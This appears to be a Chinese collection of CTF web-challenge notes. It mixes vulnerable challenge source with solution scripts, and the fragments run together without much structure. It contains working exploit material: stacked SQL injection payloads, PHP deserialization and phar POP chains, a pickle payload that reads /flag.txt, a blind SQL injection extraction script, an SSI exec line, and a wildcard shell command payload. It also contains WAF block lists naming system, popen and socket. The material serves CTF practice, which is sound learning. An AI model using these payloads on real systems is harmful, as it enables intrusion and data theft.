3.接下来尝试 order by查看有几列数据显示，然后配合 union select显示数据库的一些信息，但是select、delete等一些关键字被限制，到这里我知道可能被后台代码做了限制，于是去找了一些绕过限制的语句或者关键字特殊编码，但是都失败了。于是后面便没有了思路，自己还需要多努力啊。。。。多刷题！多扩展思路！
在mysql里面，在用作布尔型判断时，以1开头的字符串会被当做整型数（这类似于PHP的弱类型）。要注意的是这种情况是必须要有单引号括起来的，比如password=‘xxx’ or ‘1xxxxxxxxx’，那么就相当于password=‘xxx’ or 1 ，也就相当于password=‘xxx’ or true，所以返回值就是true。这里不只是1开头，只要是数字开头都是可以的。当然如果只有数字的话，就不需要单引号，比如password=‘xxx’ or 1，那么返回值也是true。（xxx指代任意字符）
1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci NOT NULL;desc words;#
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
location /online-movies {
alias /movie/;
autoindex on;
}
#js文件名脚本，哈哈简单粗暴，五个for循环
pre_str='abcmlyx'
hou_str='0123456789'
for i in pre_str:
for j in pre_str:
pre = i+j+'ctf'
for a in hou_str:
for b in hou_str:
for c in hou_str:
print(pre+a+b+c)
with open(r'ctf_str.txt', 'a+', encoding='utf-8') as f:
f.write(pre+a+b+c + '\n')
f.close()
# 请求脚本
def bp():
url='http://353e7b03144049c18a362f7dd41d8832df76c8b4bcec4b49.changame.ichunqiu.com/js/'
try:
for i in open('ctf_str.txt'):
i = i.replace('\n','')
html = requests.get(url+i+'.js').status_code
if(html==200):
print(i)
# sleep(0.5)
print(url+i+'.js'+" "+str(html))
except :
pass
def main():
a = requests.session()
b = a.get("http://6ebbbd692cc047ce8ccd326a88f72eb32090a688e6cc4bfa.changame.ichunqiu.com/")
key1 = b.headers["flag"]
c = base64.b64decode(key1)
d = str(c).split(":")
key = base64.b64decode(d[1])
body = {"ichunqiu": key}
f = a.post("http://6ebbbd692cc047ce8ccd326a88f72eb32090a688e6cc4bfa.changame.ichunqiu.com/", data=body)
print(f.text)
def getFlag():
key = 'cbadd1'
# dict='abcdefghijklmnopqrstuvwxyz0123456789'
for i in range(100000000000):
a = hashlib.md5(str(i).encode()).hexdigest()[:6]
if(a==key):
print(i)
pass
def getFlag():
key = 'af1336'
dict='abcdefghijklmnopqrstuvwxyz0123456789'
for i in range(100000000000):
a = hashlib.md5(str(i).encode()).hexdigest()[:6]
if(a==key):
print(i)
pass
<?php
echo "Do what you want to do, web dog, flag is in the web root dir";
?>
def fuzz():
dict='abcdefghijklmnopqrstuvwxyz0123456789'
key1='ichunqiu'
for i in dict:
for j in dict:
for k in dict:
result = hashlib.md5((key1+i+j+k).encode()).hexdigest()
if(result == "1b4167610ba3f2ac426a68488dbd89be"):
print(key1+i+j+k)
<!--$hash=md5($sign.$key);the length of $sign is 8
def hash():
hash = 'f9109d5f83921a551cf859f853afe7bb'
key='123'
for sign in range(10000000,99999999):
h = hashlib.md5((str(sign)+key).encode()).hexdigest()
if(h == hash):
print(sign)
?key=111&hash=adaa10eef3a02754da03b5a3a6f40ae6
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);//传递参数base64解码
if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配，/i表示忽略大小写，防止大小写绕过
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("Gu3ss_m3_h2h2.php");
}
?>
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
$a = new Demo($file='f15g_1s_here.php');
echo serialize($a);
?>
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';//反序列化方法执行时，调用。这里修改参数的数量绕过即可
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
<?php
highlight_file(__FILE__);
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo($b);
?>
1';rename table `words` to `words1`;rename table `FlagHere` to `words`;alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci NOT NULL;desc words;#
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {//使用数组绕过md5 ?id[]=a&gg[]=b
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))// 用PHP弱类型特殊性绕过 passwd=1234567a
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
import os
import requests
import re
import threading
import time
print('start： '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)
filePath = r"D:\phpstudy\phpstudy_pro\WWW\src"
os.chdir(filePath)
requests.adapters.DEFAULT_RETRIES = 5
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f:
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {}
params = {}
for m in gets: #遍历所有含有$_GET()方法的
params[m] = "echo 'aaa';"
for n in posts:
data[n] = "echo 'aaa';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params)
req.close()
req.encoding = 'utf-8'
content = req.text
# print(content)
if "aaa" in content:
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo '111';")
content = req.text
req.close()
if "111" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo '222';"})
content = req.text
req.close()
if "222" in content:
break
if flag == 1:
param = a
else:
param = b
print('file: '+file+" and param:%s" %param)
print('endtime: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files:
t = threading.Thread(target=get_content, args=(i,))
t.start()
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
echo serialize($a);
?>
//结果：O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
import hashlib
for i in range(999999999):
s = str(i)
md5 = hashlib.md5(("0e"+s).encode('utf-8')).hexdigest()
# print(md5[:2])
if(md5[:2]=='0e'):
print('0e'+str(i))
break
print(hashlib.md5(("0e141").encode('utf-8')).hexdigest())//得到0e141
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
}
$a = new Show();
$b = $a->source = new Show(); //调用__toString()方法
$c = $b->str = new Test();//调用Test类中的__get()方法
$c->p = new Modifier();//调用Modifier类中的__invoke()方法
echo urlencode(serialize($a)); //最终$a形成了一条pop序列化链
import hashlib
for i in range(10000000000):
md5 = hashlib.md5(str(i).encode("utf-8")).hexdigest()
if(md5[:6] == '6d0bc1'):
print(md5[:6])
print(i)
pass
<!--#exec cmd="命令"-->
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证！");
window.location = "./flag.php"
}else{
alert("你的授权码不正确！");
}
}else{
alert("请输入授权码");
}
}
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 ： {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config[&#39;SECRET_KEY&#39;] = &#39;s_e_c_r_e_t_k_e_y&#39;
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField(&#39;BASE64加密&#39;,validators= [DataRequired()])
submit = SubmitField(&#39;提交&#39;)
class NameForm1(FlaskForm):
text = StringField(&#39;BASE64解密&#39;,validators= [DataRequired()])
submit = SubmitField(&#39;提交&#39;)
def waf(str):
black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;,
&#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]
for x in black_list :
if x in str.lower() :
return 1
@app.route(&#39;/hint&#39;,methods=[&#39;GET&#39;])
def hint():
txt = &#34;失败乃成功之母！！&#34;
return render_template(&#34;hint.html&#34;,txt = txt)
@app.route(&#39;/&#39;,methods=[&#39;POST&#39;,&#39;GET&#39;])
def encode():
if request.values.get(&#39;text&#39;) :
text = request.values.get(&#34;text&#34;)
text_decode = base64.b64encode(text.encode())
tmp = &#34;结果 :{0}&#34;.format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for(&#39;encode&#39;))
else :
text = &#34;&#34;
form = NameForm(text)
return render_template(&#34;index.html&#34;,form = form ,method = &#34;加密&#34; ,img = &#34;flask.png&#34;)
@app.route(&#39;/decode&#39;,methods=[&#39;POST&#39;,&#39;GET&#39;])
def decode():
if request.values.get(&#39;text&#39;) :
text = request.values.get(&#34;text&#34;)
text_decode = base64.b64decode(text.encode())
tmp = &#34;结果 ： {0}&#34;.format(text_decode.decode())
if waf(tmp) :
flash(&#34;no no no !!&#34;)
return redirect(url_for(&#39;decode&#39;))
res = render_template_string(tmp)
flash( res )
return redirect(url_for(&#39;decode&#39;))
else :
text = &#34;&#34;
form = NameForm1(text)
return render_template(&#34;index.html&#34;,form = form, method = &#34;解密&#34; , img = &#34;flask1.png&#34;)
@app.route(&#39;/&lt;name&gt;&#39;,methods=[&#39;GET&#39;])
def not_found(name):
return render_template(&#34;404.html&#34;,name = name)
if __name__ == &#39;__main__&#39;:
app.run(host=&#34;0.0.0.0&#34;, port=5000, debug=True)
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
import requests,time
for i in range(200):
url = 'http://9f73c34e-337f-4bf8-a5d0-a9e240b48c23.node3.buuoj.cn/shop?page='+str(i)
resp = requests.get(url=url)
page_content = resp.text
time.sleep(0.3)
# print(page_content)
print(f'正在第{i}页查找中……')
if 'lv6.png' in page_content:
print("找到v6了，在第"+str(i)+"页")
pass
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
//phpinfo();
?>
//1st
$query = $_SERVER['QUERY_STRING'];
// substr_count() 函数计算子串在字符串中出现的次数。%5f也是_
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
/?b%20u%20p%20t=23333%0a
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){ //ord() 函数返回字符串的首个字符的 ASCII 值。
$re .= chr ( ord ($v[$i]) + $i*2 ); //chr() 函数从指定的 ASCII 值返回字符。
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
//image.php.bak
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
import requests
url = "http://5eb44461-67e7-42ed-ad52-9c3bba79884a.node3.buuoj.cn/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
l = 1
r = 130
mid = (l + r)>>1
while(l<r):
payloads = payload.format(i,mid)
print(url+payloads)
html = requests.get(url+payloads)
if "JFIF" in html.text:
l = mid +1
else:
r = mid
mid = (l + r)>>1
result+=chr(mid)
print(result)
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
import requests
url = "http://73d7bce4-52af-42b3-a996-db70fecb389b.challenge.ctf.show/"
data = {"code":"<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???"}
for i in range(100):
html_res = requests.post(url, data)
print(html_res.text)
成功进入，查看源码发现了源代码文件，下载下来
